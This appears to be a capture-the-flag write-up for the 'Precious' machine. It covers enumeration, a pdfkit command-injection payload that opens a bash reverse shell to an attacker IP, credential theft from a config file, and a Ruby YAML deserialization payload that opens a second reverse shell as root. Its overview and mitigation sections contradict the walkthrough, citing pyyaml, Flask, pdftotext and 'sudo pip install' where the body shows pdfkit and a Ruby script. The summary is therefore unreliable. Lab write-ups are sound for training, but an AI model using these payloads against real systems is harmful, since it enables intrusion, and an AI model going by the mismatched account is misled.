Precious
Precious focuses on a server running a vulnerable document conversion utility.
Initial access was obtained via a file upload form that executed user-supplied YAML, leading to arbitrary code execution through Python’s pyyaml.load.
The foothold required crafting a serialized payload disguised as a legitimate document.
Escalated to root by exploiting sudo pip install
to execute a malicious Python module placed in the working directory.
Why I Chose This Machine
I chose Precious because it combines a web-based file parsing vulnerability (PDF rendering) with local Python privilege escalation — a realistic scenario in CI pipelines and dev tools.
It also demonstrates how pip install
can become a root vector if misconfigured.
Attack Flow Overview
- Uploaded a malicious PDF to a Flask-based web app that rendered it using
pdftotext
- Achieved RCE and got an initial shell as a low-privileged user
- Discovered
sudo pip install
was allowed without password - Placed a fake Python module in the current directory and triggered it via
pip install .
, leading to root access
This flow mirrors real-world security gaps in development environments and CI tools.
Enumeration
- Testing the form for command injection works, and downloads a pdf file.
- Using exiftool to view metadata of the downloaded pdf file, pdfkit v0.8.6 is revealed.
Nmap
Nmap scan report for 10.10.11.189
Host is up, received user-set (0.019s latency).
Scanned at 2024-07-05 06:58:11 AEST for 17s
Not shown: 65533 closed tcp ports (conn-refused)
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
...
80/tcp open http syn-ack nginx 1.18.0
|_http-title: Did not follow redirect to http://precious.htb/
|_http-server-header: nginx/1.18.0
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
80-HTTP
Gobuster
gobuster vhost -u http://precious.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
Web
Burpsuite
Form testing
downloads a pdf file.
Initial Access
Following the PoC for pdfkit v0.8.6 gains initial shell as ruby user. - Start a local python server, perform command injection for reverse shell.
https://security.snyk.io/vuln/SNYK-RUBY-PDFKIT-2869795
# modified payload
http://10.10.14.16/www/%20`bash -c 'bash -i >& /dev/tcp/10.10.14.16/9001 0>&1'`
Lateral Movement
/.bundle/conf
within the ruby user’s home folder contains credentials for henry user.- SSH as henry.
SSH as henry
Privilege Escalation
sudo -l
- Henry user has privileges to run ruby script.
- The ruby script does not execute because
dependencies.yml
is missing.- Searching for ruby dependencies.yml exploit returns many relevant results.
- Add reverse shell code to the payload and execute the ruby script.
YAML.load(File.read("dependencied.yml"))
dependencies.yml
Payload dependencies.yml
---
- !ruby/object:Gem::Installer
i: x
- !ruby/object:Gem::SpecFetcher
i: y
- !ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::Package::TarReader
io: &1 !ruby/object:Net::BufferedIO
io: &1 !ruby/object:Gem::Package::TarReader::Entry
read: 0
header: "abc"
debug_output: &1 !ruby/object:Net::WriteAdapter
socket: &1 !ruby/object:Gem::RequestSet
sets: !ruby/object:Net::WriteAdapter
socket: !ruby/module 'Kernel'
method_id: :system
git_set: http://10.10.14.16/www/%20`bash -c 'bash -i >& /dev/tcp/10.10.14.16/9002 0>&1'`
method_id: :resolve
Alternative Paths Explored
Tried to gain access via local file inclusion and log poisoning, but neither worked.
Also checked for writable SUID binaries and exposed sockets, which were secure.
The sudo -l
check revealing pip install
was the key escalation point.
Blue Team Perspective
Precious shows how insecure handling of pip
and dynamic imports can be leveraged for privilege escalation.
To mitigate:
- Never allow
sudo pip install
without password - Use virtual environments and restrict PYTHONPATH influence
- Sanitize upload handlers and isolate renderers like
pdftotext